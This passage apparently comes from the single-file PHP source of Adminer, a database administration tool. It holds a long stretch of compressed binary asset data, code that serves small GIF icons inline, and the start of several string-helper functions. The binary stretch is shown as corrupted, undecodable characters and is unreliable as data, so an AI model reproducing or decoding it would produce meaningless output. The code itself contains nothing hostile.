c8:�r�w����d��L�u+�<Qx���O���73�dܥYёr�}�d��@�0l�`V��:�xP\r��J�z\$ܷ�aqyl�9G����I^b\n(6K]ݓ>SN�o�S�N&�ynS�<�:�%�;�6TyI�Q�.S�d��V>��#��?J]��,�Le+��Sґaq��X9Pe��%ybea�UUe��NW9W�W�W9C^��c����z�#�m@�z�M�n^��鮅^��.\\��FF��E�2����r�Q�\\ф�l�,���\0\n9A�V��rNa``��t@��{����?����=8I�5���0�y��p�ToX���b��*m�ы�6dB\r��b�=\0�:���.e9�X�b�w�_��w�@�\0kq�w�ј|By�vp�C�s����S�%9�M�l2�������w~!�s&kY�0\$/�fk�E��tgC�١�M� ��?���4O^��!�&�刎g����/�f1�=��V aE:#�y�N`�)`��Np��\\.\"B�A�����qx��V����:a�8y�f���s����y�7���gy�gS�&gY�5;�@���c�3�t���n]t��o/7��og���8`3�\08��m\0�\"\0�氉[�X��?��q��F�S�v��B�\n�Z���!A�����o�������C��-y�:�N�O^xz����~��.�19���k��D�8!C�N�nf����hg\r\r�(i�pe�߅<+#��-�ZdJ�j�h6�gA�XF��h4dL��hN�Z�9�nx�C��P�YhE�~s�`�>F�k�\n��^��}D)Zk���,�`�ާz�1Kc��dluf>� �-ώ���q��#a��囘h�P�`��P�ha�P`�8]�\nւ`���3��a���`8�'���|0��c���1\08�\0\"Z�X��d�hV/hY�UhM����g9�N�a�Y��s`7g?��!���6s���nޓ.�?��VҢ���Nd�J��f������s��pԤ\"K�.��D�{�^�1�JB#��c��i�V�x�`<S�d÷�f������9�49/�hy��n?��\\<�F�c����:Fpo�4��ތ^+��Ƽ T&:jh��fd�i��+2n���ޮ����v���h�(�]�j\0�&Zm��N� J�E\0Z�S�@������%Ã�>ސӿ]�z�9z��z����::�)0�P���օc|hV���`�h?���d���r��2}�,O= ���yλ�0����I`� =�X7:����_ɪ��z�G��8 ���d���N��jѠ��\$�Bo�)�2��mn�y�K��[Z�{����Y�0Ãu�\r/n\0�NO��i���F���R�N��:\r��q���>��ɫ0@����N�*t�K����B�[��n��T����Np�hz �J��tdN�DY>��Ȕ��F���8��η��8vָxk������9담]z��>�֩0ѓ��d#��W,3�:�/7��FR�f�{�Z=���O�|h��c�֜3�x����F��^���r]t�Hi.�u�@��A�\0h@ع�����ߧ�smN����y��V�F2�5�?~���ԆѰfs�`�[�Ri���c��+�1�f�@��\n ��L^36X�t9�=:��(�� ;蟨��S�F�@`;�x,>y4_�&����ן��eу�,��CFL0\r������K�Q3�l9���Ϛ���@~�����2��ԥ�+g�V�N^\"+ b_Fd�H�����w�~�\rb���\"0@�s��18���p�H#:K����X�~�Π����������y�^\$d!5wt���!':�x�����mT +��O��5~��>�P@õV�PA����Ӳ&\";Xh�~t��!)5aD��3�8'I^�خⷶ>�ؚ���l;A��������~�;j�[>�mӶ�P�uf�.�A)�=��#��m߶fz�I���Smɶc�A+���D�`/��dd��<T��n�>�/��ٛm�9�W��i����,�I\0����-F�`�i6�;��`��{�[��S����6�Rj���ەC���#m�=9gW���:gh�&�Ȇ���V��I��x�[�h�I�I���ZNm��������tW�[�+�@k��*�/����AEw�L_8m{).��-v\r:L����`-@�Y�m����{�hj�Lh|:��Y�#@^˺<����Ks���8���F���@XD �j7��x��:LN����9O�Ol�ZNsD����F�d��;����ZP�@^���g47Ɠ�`8 6�#.E���ߠ��i��S�.7��ȸ��e�[�zL4s�0`�~�w���f��>�[����;�㝆�[{Y#����w��[�I�����o� f�Y�o�4�;��Ǜ��oˍ6��T����@�B�~�;U� �.�h�r�3�N��������6�P�ɞDŽ�V0�ok1�E�S��O���ȕ�`7�l�҅�IO٫��7���t����Qc�9���f-�\0-��\0�����/�.��^R�f�����<-n�,95J�cM����v</h��\rZK\0�p\"FЈR��F���;�|nv<\rp���@�Ed� ��b�����hc�X+�в���j����7���Gy/����ۇh��X��.nXt��.s�^��D]r��~1LC�@+@�d��\"i!Oj��tH\"/�Y����_欸t\n�~q�>�ݦ�[�!�������oN�Ʀ�\0q�V�5�,��O���� \\^�b+b�*� {��c��7roN!��q�wɹǑO�;,P���:b#3+\r�S\$����p�oK �~Ҝ��њx��!_�q-�����W`��m��x��9��&���[e��>dI*�����8���NHz������3�µ��(�Ш-\n�S/Zk�1(k5�!��*C!�(Hn�TD� ���z-d�І�(A�����B��k�@�5� \0.�&!�cY�L�\"\0g�)r,���\"�5��O*�'���|�r��O)���*-���)�H��.2��\"���r�c�ht��ڸm�:`�#[�M���0@1�H�#�dژ�AC<m�\n�̏2s�s*�h�1�\0�Ƒ�\n1T�/6�=��K'6F~�>x ���J�GG7�,�}/�|�8�Ѳ���G9�Ʉ?9�p: -o:3�L��:�ɉ�;��Sbjxa|��Y+6�|�vl���Ox��<\\���w?=S]b/;��M���#��\rώ3�����Kt<��x��@R\\�M)�=��d�7>3H�k�L�t:\$} 08��/4\r����g�+ �3g��sT�5�5�^�xi0�b\r|���ʟb�|٣p�P \0�ꐓ��9,�#���9�h�I ��f��ʣ6`����.\$�z�KW%�J?�c�R�MK>�8AEL��n:a�:���P��^_ =�*�a�2G��B�&�Nr�2�_L��nu!Tԏ�D�V���iqd��9V]`\r�n���PM�ot�jx�� �)`\rv P�`���#t���N��-ԕ�5�ְ��� �Yc債�X�P����DxT���alx��V�t�x�\0X����磵V�H\0ؤ���#����k�X�Q�F5|�U OW-�ST�W4~ڵ^�W6�u�X=94�@ �͉�(]o֝K���iWW=P��Z�o}q�yITvxu�U�]]jXKT\rH�\\�QE�^@,��5Xu�G�guՙhP }GZGhm��gWh��w�nu�`(Z[�WU_�Gh�b��GدS�R��[wX5�Z/a����W_��u�U%P��UcQ����T�[w[6(�\r؇[���U[w\\]�RGf/b�\\�[p��tU[ue��SsDc�]�T�Tg�?�J-�u��m�@Չ�Mb��\$-p�4�E�j=R��U�b=^u}�U��V\rVSt]v<�V���ۋh�e��\n�d�W�i֕V�'�iُ[}<��X��u�U�\n]���]�]��h�]=��_U�B��w%]�X^���_j�cQ��Օ�7�b>�M�e��k���iP�m�[�\0��_���Y=�v��sȕ'�Gr]f=Ku#h_Q��; ���ͣ��x�>[�J�q5QٱK�J�#�e�D�S���v����f��V�Ndx4�vU\\�p}�TMj4vt�v�C�|��V��A����a���q��~�/����?ſz�{Tuc�Ao\0���\"�駌4X�3یMD�WYX�M��;��c�Oׅ`M���H%e��7c:�u�� ~B�;�O0��U����YE͕�@6��U�Wߏ��y�m�ς�:�=��͘2:��3�yl�G,0-�]�h�n�~��*Ӣ<���>�r�諢�A<�>_��>i��\n)�킓�.~�����;3���S�_�D��B�f�|�W\n�.�`w�\0#�#>u~�C �[��3;�o �F��f��!�Hx���G!+@���X� A���T;B�����B��Ei���@�ٚ�� ���~\0���J����ǁ�C#������ �o�I�)ya��J�j2����<�:}���Fo�q��jx����N��L�@D�xǡ5�9�v�TR �C9ĩ�7��_��A��P��_�X|�6#>^q����O���O\no�T&�d�ڤ�R�.L�Ug���w��PV#��9*����T\$̺{�f]ȋ����p�gD�.�<k��ca����zk��3���16pY�v�_�3ז�|��=��8�C��Fv�S���<3�i���������y|^�bzW�LNc]u���&8��c��|d9�z��9N~oı�䮃:�=N~6��=�d� <��>M-A~ 3����]�F�.�{��QP��-@Nl{�?�Q�QA�A;���_�{R:]�6<�cǏo���^-��B���9ϰ9Fj�c���A����a�N0s5{w�_���@��~䙈g�︹�{�`��{��\0X�:/伎!&�l��P��/�)���P�)������23�nr������3���m���D�1|���\r�o��n�﹕�����{'��>�||H�\r�� e�S�E=�����=�s�vscK�K�O�¥�|:��8�|7���N:g�a&�� �F}5����/��e�~CJ\"�`/�|Lb��_�ǟ!�06 �|{��*�����B#f���_\"�;��12�k����I���N�c\r����G<77G̱���3�4�4�;{����\\�����gǯ�A?�v��y.e�Y�����CCf���|�[�?D��_ѻ;I���/��ҹ��7��}2���%�8����cb�ǿR���r\0۽��~K��Ƴ��?�3�[I����q��;���?\\��q�So���Y�} ��i�7�L���5>K�����z�1�����3�:�|{���lz���?nf�/��jH���vom�w�\\\"|{���|1��ti���^�1e��|�]8�*F�݅=�/F�k���/��G��ۮD��~Ѱ%��A��⟎���[�����ଅ�\$Ǜ��m��8%_��-��\0z`��ߐ�S\$��EI��e��~Q��i �~{@[�_�~g��%�x���O�_�����rk<���zE���01g�`1���Ү��+G�7q�8�;�ǟ����rzM�=�����(O~{��i���o������95N�G��T@�ρ���y?B�\\ sa��1��\"G츙:h�w���g�s�/�x5g�\\���nۅ8>���ڟf��ۄ�\r_�����t8�|���\"Mf�߭���8�=\0�p������\\� o�E��gO���ǫ��ߦ��{��f��\"+���n�����.��u���<�N�����������l\$t�v�gs�{��z�T�'���I�\"��Äd� ��x�^z\$�m�ˤ��킏��A���!�LD�<bg|��y,ƺ�ҟ%�C���\0�@�馑c��)��v�/�.7InD�+;P�� 7crF���\$.��`�6��3��i�F�����>D6��3�S���Q^&|���'��D��6�b���Z�7���2��>% Ǹ 0�&�=��q�va��08z�\$x b�C�o&�=�����jD�M���1=jb0�d����[K��j�\0<b1�tM�Q����\$���O�pB��v0@0߸�q�HU�G\0|pPU��F+��#��>��p�pN��+�h��[k�o@n�5�!�0\"&q�������e�������I+��b�t�(c�����`��A�s�SI�8qlml\r�v,��A�N!p��w�((���AqB���s���d���~ ��#Vvs�B`|?�j�Υ��2?E�@�Tމ��h ��R�>�~�ս�8��-�[ʿ�g>e��]H�ď\r��n>z�d6��ě���c^�9�L�\"u�v�ف���3����\$�w��Q�\r' ,Y��=�-*�l��?�x�l�_��H����Q���jV�e�+QH� ���rO���ǧm%�Q/�Є(! ���@d��1��T0X�=�=oa��-�,�[h������z\$��d�y|���xt;p_��.?�~��5\0+����>ݭ�p�a6��L8�t;H�0�P�eA�;�M�5��6�p��L\n�ΐjY��~^y�\rP/�hv��3-i/�@���m[�|M ��\n6�K���#1hFT�)ߘ(D�m�\n=%��u#\$N��m����:��X\$>�O�����\0M�\"�Cq4�٧돇�/O\\K\"�d(�Bx=��[�Np��I��dV�l�Ry��}�����W��|���~��B3��1L�� �ݮb���O՛���:]9Ńh#���R�?P�69��،��\0g�8B.\$��{`іh����?�h�mG]�n�Q8�� �F�iZ 7q��u�y�xF��F�+�� �0q��J�v�+J2p�����r��\n�%'��?�n�h����F�0�F=B'~���\n��5�2|e1�<�\rЛ�5�qn� ��f@>���e1h�\$���sX3�\r�@���z�+鶩��9� '2�G������a�FܐС�(�T)\rJ\$7G�k���D9��)\0�\0��\\)f��+��(Y\0P�-b��`�WM�r�P�c�7Ro(Ir�t(7\n`�)���\r�#�5��I�/70 O��S�X�=�:E�V�*��(�I��r�0�\\ƹ�t7hq��5�ۓ��I��e#�-�p����J���t�O �{����%&�/h^\":w���#�&��\"Hо�\$�Iu������p����h�*y�X_�C8Y�.�1T�Pġx�j�4�)A���ӑ��sE�\$q� ��WS��PbbVc�d.�����rn��۴.��и���džA��/3���!���V_�ZH�Mg-�+�\\��RS��˅�qZ�G�r�QN�a�*�v��Yܒ��W��[��V��Nb��u�H�)(y\\��1��@��J̝��Y~�`��z�]�v ��B�%PVGv�A`��%'����) S�ZR����i��)5S��D49Jb�;)3�,�9M46E�Pߔ�Û�&����t\n��a*\$un�Aբ���ꎖ��T���?��%�D�2��X�tt�څ��ցT��Yh��e�Ɲ��&v���\"�p�K1�d,�ZQUf���n�ݰ�q\\���\\6\"DJ���Z��UP\n�T�Yh)�U���Z��`����qUԵ�>��5��iͣ��T��Ilrܕ}ki�}��ȴU_*���)\$@F�mr���J�V�+�Vh�-cJ鳪�p�ͭ�[��0?�Չ�N��\\x�!9� �\n���:��EYҋ��\n.�V�`?���3�M�>,[@�ir>5��|�D�؈��MYB�Gx��\n�̰qhڵXs��Q��:���h����*5���]��@�b�=���G\"�s�xZ��G@�ſ�M��<�W#��^�D=ABxg�G6'M��Ct�[���,��<'�@��L��\"��n���_%��[�8�f:�%��K8��=&�����03`~P�\n�.�D^��^�����O�A\0���{F\\d V�\\��=vc��� S�F^(�_�?t���,*���۴\\gb�����JD�D�q���יش��Puxf�,��=�לPd�h� i\$�dz��4}�U~(�1�Abg1�@�j��[d�Z㆙�0�JJ��3v��L�@Iq&%��&�3LJ��Ln��u%���Ց�����F7h.��/�Ln��'{��Gp�O���L0|��R���/�mn|�k]\0%���t���텘DNN��\"�n��*4T2�b�3�t|�� eg�gJ���O�ȡ,A(N�������vF@�\"g�^o�b;S�*\0�_nL߁95�sT�yP0fxG���4�)D|.]M�B�Ht\0�9�8��Fa`��H�\n� �X8+B|�k<\0�\n��)�8f��b�B�H�9� ��H���?,��| 4P����1�\nPs�\0@�%#E����\r\0ů\0���0�?\0ũ,�\0��h��j�\08\0l\0�.[�lb�Ŵ\0p\0�.f@qn��0\0i>.\\�u��7�uB-D[pnb�E�,�\0��]� ��E��r\0�/l[p�\r�\0000�k�-P@\r�E�\0g.�Z�~\"��\0q&/�g��\r����\0k�.D`H��x\"���\0n\0��`x��m\0����a� K2E�#�-\\Z��Ql\"�\0006��\nP��`q�\"�Ū�c�4 �|���'�c�1^��Qlc�ό�1D^xo�Y����[������\0s21\\^ @\rb�F��\0�2D[�����7��z-�\0����E�`�/�dX�јb�FM��&.�_x�qw���5����! q�@E�b�4\$]x�q��F��%�4\\Z�ɱx�F���.�]�ɠc'�1�����`H�q�����Y�.,g趀�6F6��/���ƭ��z5b��`\r�GF(JMf.Le��@1\0005I�5�e��(Ƒ��b2|[� \r#5��1V0|k�ő���4�9U��g(��\"���m�5�e`�\r�4E�F.�[��1�������0di��1k\"�Fo� ~7�g���#oF����/4[��1���I\0i7\0XΑn#LF�\0i�0tfױl#Ƴ�a�4�[H�Q��FW�'�.\\m�α����ύ��30(�Qo��F\r� N1tp��1��PE��.�H�1lc^F~���4�_X��qc*�7�/:/�qx�1��rF�\0en/�H���O�F�/�.�ax�qr��V���4�_��#F`K�:]������YZ-��q�cjFz��;0(�Q��Ƨ\$�.�f��q��XEڎg�2�lh���c��Z��n3�l(�ˢ��ݍk&<�k�Qo�/�ы�^7�j(�����G#�y\":sa��#�����2L_h�1����f�-2�zh�Q�c�FfK�n���Z�H��\$�n��\0Ic�EƎ��64}��1�cG\0s�-�v8ӑ�#nƤ�oR:�r��b�\0001���7|lH�Q���F��2�rx�Q���@���8||��d�#�Lj���1)fH�G���M��7\$c�챿�3GՋ�z.l}��E�\"�ǃ�PK�1�a����coF��� b=Ta��q��Ƅ,�>?�f92�QFW��>?4b��1�d�'�u �3�|���sc���6Bm��\0�EƐ�j=�fH�r���>���5dlIQ|��ƍ�^9�c��qt�H;�5�c��Q���Ս�!.?�`h�q�� HY��n.|����G���a����cXG���?�t��d\r��Iz>Ld���\$H�W���9�X�q�d0�-��J@,���q����(��.:�x8ı��=�J���/�g��q�1G���\"^.dsx�r�HF���?����XGz�W.0|v`��]E�^0\$Z�Q�#sGl���3�[�r\$?G��\"Z0\$d���b�H��t�~@eyђb�Ȫ�\"61�x��cH���=,c�����)�\\�}\"�G_���c���;V/<n��r��E��\r�Ftp��1w�;�C�Y\"�3T�8���b�F8���ADk��r&����E�>�|ч#[GZ�NH�k��2%�MF��[�8�o��ѓc\0�;�m�-����њ�F�yJA�l�RMd�ɍ\"�8\$n8�1����Y�0|��2\$�G���<,���#aGP�� \nFt�R^��(�� 6J�a(��b�Ia�U#�3hX�q}\$�ũ��!N;\\��?2%\$�Ǜ�UnG���2&�~ƶ�e�Llh�8\$SGj��bB\$w��⤮�\\��>L�m(��@��Ǜ���8�g�1�!cSF��#\$�H�gh��\"cE���:DsH�Ѻ��LJ��~Hԛ�qt���~�60(���b�����7�dIq��vƜ��~-�kX��)�����\"�N4�Y�I����O�Ex xd �瓄ɂ�\\x᱘��G�%� z6r��q~�pIΐk&\n=�I=���%E�K\"�G܂ �#]F�'&.l_�&�nc\\�鍗�/[�@������'nM�8���F���G\$��q��MȰ���<�[��Q�c2Ț��%�<\\�Y1���ƒ&:|q��Cc��-%�'�2�x����H|��#�0�)b�lHX���Jt���r��e�x�%#�3\$���R5��S��!�.��(��GӔE�:�l�r \$q���&B1�a r�I���C���˱��NJa���BD[踲X�JC�M�C��Ց�c[���.>4� #ѯ�5I��(�6�z�Q1x���;�s(�3l�I]���*��(*T<xX屌��:aP��,�4���H㨖P���u�İ����B�Q.�EI�U��\$�e*FT��@>�%�+�f�\n���Qn�-��U#��U��Hj��]Ҷ�:�x1+��k�'UK�VmC��С}s)��p�V,�Vº�T�7�v.�QZ��u{+�\nD��e�\n�px.�|�\0)�}I<0\0�I�Z��\$k !���Yh�����Rd�Q���S�%.�%��9�ĩbW\"���\0)�Yv*V��WX�Ze��/:�,�O��ա��xÆQ!,�`B� _.�%��Ŗtm�\n��JK�V���y}��M��,�� 喦�l+qap0��Ԓ;]R ��#(��*^���~���>���-T�Ѫ�#8�@���Y \n!�;Gv����Pj�%�)9�E-�V:��U�J��� j�D���K�wF����0�R%ȭ�U�F�?[��A��DTwP����Q�¬��<�ɔa�1>@Na(2���yc��h�ݕ��\0P�:]yW�����3[�<�@���%�gB���p���;�HKsW��ıYr`f�']ؼ�\nbU��%ݩ�S2��GdBpj��eb��R���YZk锵\0U\0��4J����ڬ�U� d�ɕ�'T�H]֊�G�JU�/�v�.�Z�B%�� /\n���&Rk��W��\\ �Q r��^����W\$�Yp~If����R;eK?���%B�QQ�-+�«,Q��f�dꉥrL6�ҩ�W�I�s&��\\���a��)�*/�C�u1-�՚�E~��Vs,D*26�&�Pu\\�aC��;�d�1�3�F��0w���9�D2�g��&�l|^ H��.c�9p0����;�u�\rQH�00�.����\"d��g�a]�U\\�Y{�ȕ{kb���\n��������_�2��F���K�&N�����a[�ő�g&J!�G��-\\b��b�݉̋�H�T��Å2�PÊv��i ynjۃ�L!#9,�a\$�7b��&*&[,�:fS��kҴV�̻�e3IZ�<yq�7݊�w����e���ν�<*�\0����P �0W̾U�rgr�e���V���Hf��i��4��+ZЦ6_����+RV���S%,�g۵Uĉ%���0&hL��n����`�¬QN��Yv!�Tj��32QRt9 �3FĒouF�-�t���D&��q���\ni\n��*5H���4\ni�U8+���;S�⾕}��o3E��M@Xj�Bf��UU����~RA-6i�� ���*|ԬQM�YxsTWȣ�Tp��X��B9<f^�\\#�2����h\n��x��T��*g��ռ�=%���4>j#��G�U涫�� �=��i�`\n唻=\0��[�����iݢK�4�j�i����x�WU�.�g�p[�~�\r�{u6����eV�-^�Ԗ��e�)��sPf�ͧw֎�?��'}J�&b�6�4�mr�ə�]]:�Q��6�Z��I}r��L�Z7[2����UZL�QDst�D�y������Q}-m�\$�ٹ<��Mt�칡a���n3<��L���5W#�DKR���ۚ�or�������͢v�4MQ�׃\n�&��&V�4rW�݇}sI8M1S8 ^d�I����UE1Jps�Y�S�VK�ݚk8Ri�̙�h�,SQf�:n��e�P�AM�Vn��_dԉ�+�UUכ�5>n#��w�U& MWV���]�ݵc�W�p��X�8�D�y�Y�!)Lvw7m��䉮`U��K?�)5�Q4�ٻ�>%��w�+~k��xr��\$M~��2Fr|�)�a&\"���[6\"Ytݵ4��ݨKmv�8~r+�����)y�)6Yk¯ű�v���<��m� X�����Xk6���� �*1�A΄�k0�s�I�*ϝTL��0�>��ɺ�o��T���V��\"�&o-��:�g\$�3:&uMևF�%id��D�?f�*��9Vq,� ��yUQ�\0��:I�Z���B'K�&���o��%\$JI&�;jW�8v,칣S�����u�8)]\$���3��,N\$x0��O|�*�M'o��39�[���ÓOBM�����|ܾ��Ӹ����8�v���ŊC�zN0��8�c��ǫ�M[��5tꐖ��j#�(��_;q��3��|���B�!��I�3�f Mo\0�5�x�UO�Ǧzζ��6�u���S��M{�;�v����1����覝ה����d��͔�C9�W§uVS�'>��T]6}�J�@K��Z�G����kOV#�\$��H\$Z���Հ(\0_V&��?h� 3�'��G�6�F2��pj,�K.S豑|�i��qg�Jѝ�I�v�C��\0+\0GYn�Lj�d\0�1\0M>�d�u�jCWSO\0�amU7�<XE��Qⰾ|���JDg�υ�.�r|(�Wr�C�-Q����W\\�S�0��\0_#6�<�T�ռS��o��S�>�{d�UY�w\0)�_���Y��zJ�'�O�\$H�.l���c%��&X�8���S�g�ϋY)?ZU�� 39\0/��\0���A�%�k2� T=��%�K5&���^ʫu{�ɖ\n씽-,[���_�} ��֖Oş�r~,�yn�G�O���Mo|��Di�#P\n�i@>�����O���\nz��/@�sKg�|��m�ޒ7��,Π�=3�g�)��v@,��v��Y�����P&��@��C�dvs9��������BCJgT��X��@0>�օ\"y�QP �c1�e��g^�9��AEg�;\$x4%��1Y�I�}r�%24�i�;S�A�\\��;j���d[���qm�\r��V�O���A�s���J���͙T�@Z����ڠ\n(?�T�2���!�E*���.�_M����Ѭ�[�;��=@����8K�X�2QM<a�nВ�<����Њ�V���\0��BZ\"���3�hN���U\r�`Lߩ�j�ב�X��zV,�{t/UƢH��B�U�����_R��`r�uA�3��M�z����� 0����ҡ���e�jt8(l���t�IyT9���X�C�?ꉩ{jK��ВS�C�ֵ5~�r��ͱ��C�:ȅxt<�pϽ\0����~I�4?�)�Ǘ�N_RI�VĵK�n��B��ʴ����:��}z���\n5@�Q\"U�BIn��0�\"Zf�\0(�B\ri�5E����k\\����eڔ�*��10=��z@���ˢ���e��y�\r !�Y|�|�J)�8g����EH����g�U�QS�%D�\r5�\n����`�<:!�u��(lC�0�C�˅�Th��U�?�w\"��˔��)\n2��Nl���r�0*9Ⱦ,?L�26d���+�X�9B�x\0\n���_FN��5BA��������MB��[���O�J:�2�Y��\rH߭�P�0�Z�&5����+��\r�uĘ��?�b�ݪ\"t(�ʽ���N{��U(�Kh����@<?j���(;NP�\$���\n&�Q�\\�GmP��5;�An8YiN�C�,I���e�>mUڛ��K��Cѣ�s�c1 �l�t��O�����e��f̭W�UC�}˒g�O�S�����%[�WRG�=Ɛ�}5�tte�\\I�N�Y�k1)�\rQ�j���B��{)���H�-\"zD�t�����9�{��y��M�f-�]2�>d��(ts%]�\$�H�?%\"��n���#�T�@���wjt�8R��BIH�rB�\$���w2�!\n#4�(���2Y��\n��n��E�d�&�4��/�d��G�[XV%������S�*��o�Q�?\0r�k`s�د0���%��+��б��4�fyG���\0\n����Xq3`�`f����D9��䂐�iDŖPTdd�I����#�?���x(đ���YTt�����ǂ\0a���P���d�\r�P-�,ȺԳ�l�^��-@=�i\0006�����|z[��\08��K*��W�4��hإ���a������K��u,b�4){���K6��-�_��i���B� --�`Է)cRަL�DhZ^ ����K���.�b�R�7LR<�bt�����L\n��2k4��e�3��L���2�d�J�~��L��e-f���g�6�L��=3p��)wS7�M��3za��)�S7\0oM1}3zb��)�S7�5MR��1�k�#l��iL���m�g��i�S?��L6�4:g4��l�G��Kr6�4�m��#l�O���6�5:nt�#l�W��M�2h\nj\0��\"��N@u88���)��˧M��1Jqt����ѧM���.�qt۩�Ӓ�N*�8zqtީ�ӎ��N���7�s��̆/���E9JuT��Ө�9M���7*t��b�ӌ�gN� -9\n`��i�S���N���;�]�.�S�_\"�-�t�i�RёwO&�p�t����ˑwNꞭ<�t4�i�%�IO��}:zp�v���٧�O6�E>Zv��IS���Ob��>�{���S৻OZ2m7j|��)�������k*pT�\$�T ��P:��@j}1��S�����u@*yU����O ��\nT�i�HR�#Px -?��2�T%�?NB�A�{2��ܐ�M���8pe�)�T�EN&��?Z�4�j!�-�1P�B����I�L�Q<Dʁ��¾S���QV�%1��� �r%�O���Djc�j\$�]��M}.]<[Ub�TkKP��rh�a5R��/�OQ���j��R2�:%ħ�Qޣ}>ڏUj�֨�OΤHz�5j\"T�� Or�e?ꑕ@Ԍ�R2��H:��i��i��R:��9\n��\"�7��;R���JZ�U)jJT��/R���0\r1~��J��=Rƥ�b�ѯj4�3���RHuK�q}�QTo��S\r܈��\0�TˑS:-�M\n���zTΎSZ�F�u5�RTr��SZ�MM�u7�V�o��SZ��IZ���gE���Sv��[:��8jx���S���eʝ�:j4������LZ�Q���*��Sң�b�>*:�ũ�S�|Zڙ�*����z��Pj�5B*`E�'T2��[�uD*9E۩���=Qj��nj���KTr�\\j��H*`E�OT���fJ�чj��*��b��R�5L*d�ߪwTҦe�uN�|�����X�ES�6ԧM��T��UU*{UZ��� %M4� I*�%�B?P.�Vj��&��U>9f�~��Tڑ�*�Gz��Mf��U���j���e��Rr�MW��5U��V��ʪ}Jj�5X#-Չ��U�/�X��USb�UO�}V�lxZ��[��Tǫ1U�>MYj��m�h՟��f��W�5��U��U���Zض�m*��߫eF��Z��^��Փ��z�}Nʶ��՜�o\"j�\rU��њ��Տ��,op0>\0���I���U^��,��M\0�3UՌ��.;�A��uu#�E���S�Z���?���\0��W��W�ѯ*��ǫ�W:�c���o��ȁ��TJ��QJ�5|*�V��U�35_��������^�|l��5|���k�#V橕[x��S�U��yXz��T\n�Ձ�F��9X.1%`��*e�Ƭ[ʱ}a@7q����V�<`��U^��V*�W�NUV����d�U�K�WV�l~��5�d�U���X�]c����� U�����/edd��{*�E�dr�Uez�ckE��[VF�-c겡4\n�BFJ�|��ʃ�{O��<�h�\$���!�\0K��<�w���5��kNp��)]z���+z��eS.�iF:��j<Ĵ�Э��V:��ގ�^\nO![`�ny\n� k��zMK��Z�v¾���W��:�T;�r\rkR䂕D8Q�<ir+�!��'d�!�Z�^�l5s3�T�Q�o<�� �3�\\�>����u<A*����^\$�9�>|���DW\rK@X�[z�۱�`ү�LٚM3�n1�N�@�X�\\�i;����5���g�#\\�G\0�L�j��k?͚v�4�k��*�u��>�.�\r5r�B� �`e�����Z2��)��+IW�!Z:��izu���V��F����*��RM\\�H�L��ɧ���N��i\\��L֧b�����Z�k4�I��k[P�ֹJk��)����(W,� 9���晱jnfx��v�]6yӵ*�U�'8,B�U6F�����ۦ[Ku��3�duma-J������76���9�s<'\nV�Y/[ƻmo:�u�C����9�W�:����\nV���\\�pi�ʭ+�֊��Jf�mwuV���KW����x��U�+����\\zn�rzS�U#W%��Z�w��E?�ѝ�L9�~�fo��I���+�V�Qa\\��S�J(��g\$M���D�ܥl:�Ӕ��j�t�j��| �v�\n;d�x�zs��YP�W��5�<�D�Y���K���_Jc��Zr��n� ��_���k^+m,3\\aBerĹJj+��Fw�;�)\$9���]N�\$\0���P��ٵ���YL_�K1�f�%ɖ�;��a�mK��\"�\0����%� 6��.�?�w\n��χ�K�l��x�)��Ya��ؑ�#_>M(3������m��P9h3ӻ���b0~�����[�X4N�ܹ�Haɨ�Yk��A�v�t�6^:Q�_�l\"�9��N�R� �A\nQ�¸k�Ll+��������@#�t� ��K����v�B��;^�� ��!gl9�HD2�.�{^��; `�4��4�z\r��G\r\0[\0���\$�\\�D\"Ğ��� q���7�����{�RN��(�uq�Q��%����Hxm��t0_&Eah���E����7gn8��X�v\r�%Mf^Ӎ�h�0�1�ɱ�=��RI\ry�q�������\r/&XԱL�c\n\$@��J�0D��}�)�/�d�.��/��6,t�遖!��@!����\0V��.��gFW��^��e��5i�� �\"���DR�� Z/�\"���,���6=!dD1}�6/�F�Tc;`x+#쓱����7��0�*��J�!l�Q�*hD� Pb��B��Y�0\0��\nɝ��!\r��KVэ1�5G�VP��4���=;w+%�l�YI��FŔ �T�1���e 9��g��1m���i:��\0���S3�N����38�v���aN �x�]��El�>��<�L�T\r�Ebh�H��.���.�+6��a��Aဟ �J��Y��\"�lŐ5̺�b\0o�\")�X�f�Sd�R��(�fu������>{\"�A�q��8�A�½�{8���p8k2��L�Y��˩ⵛ�64�VđTX\\ś�����Y��1fǠ�q�:�u��|��\\}���,O0{dds͂C� �B5��#H1zl\0%o��,0Hide�'�?6x�ֱ���5�Q��y�|�p�\r�+=�p��X�\r�`!�q,�>��g��\$�@�����pٸ\\�6��\${�^&ϛ{<�y��Z6jǾ�e������jo�\$MX�(v�l��@Mh��d�E�X����D�V��y|jH��u�`TpZ�/Fe��-�{E�sN���d�p��\$�u�Pdd���5��o2�L��ؿ\nc���8�^fX�\n�:Z{��o<�t1��i�,:�E6�C*�+�=i�ݦ�(ԬV�_r�E�!��lD�vZ�����ō�pʶN<=K�Γr �#@;��\0��4�v��7YkA��������`(K֨#̃2�\rQ�H!/v7l/���c��b!��X��x��(��4�6�@��cLj�J�!�7���fzX�� v�6�ȵ��=�pTqX-`5��zj�\0�������c�k%�i�M���x:tLc1,�Ņv4��)���N�/9B���逊�\r�9�N��8IG��@ ��{��:���/M��xJ���'E�(�(�#rHE�'�2`q��S|�a���`R���9�@⼍����^ڀs�BF��Wkd&��ݥMOn\0��!�0#6�z�/)Y��æ�]�����q^x����O��K/�\n�[G ab:�9;3d�MS�?�9�����R�\r��?\"s1g~xא");}else{header("Content-Type: image/gif");switch($_GET["file"]){case"plus.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0!�����M��*)�o��) q��e���#��L�\0;";break;case"cross.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0#�����#\na�Fo~y�.�_wa��1�J�G�L�6]\0\0;";break;case"up.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0 �����MQN\n�}�a8�y�aŶ�\0��\0;";break;case"down.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0 �����M��*)�[W�\\��L&ٜƶ�\0��\0;";break;case"arrow.gif":echo"GIF89a\0\n\0�\0\0������!�\0\0\0,\0\0\0\0\0\n\0\0�i������Ӳ\0\0;";break;}}exit;}function connection(){global$g;return$g;}function adminer(){global$b;return$b;}function idf_unescape($u){$Vd=substr($u,-1);return str_replace($Vd.$Vd,$Vd,substr($u,1,-1));}function escape_string($X){return substr(q($X),1,-1);}function number($X){return preg_replace('~[^0-9]+~','',$X);}function 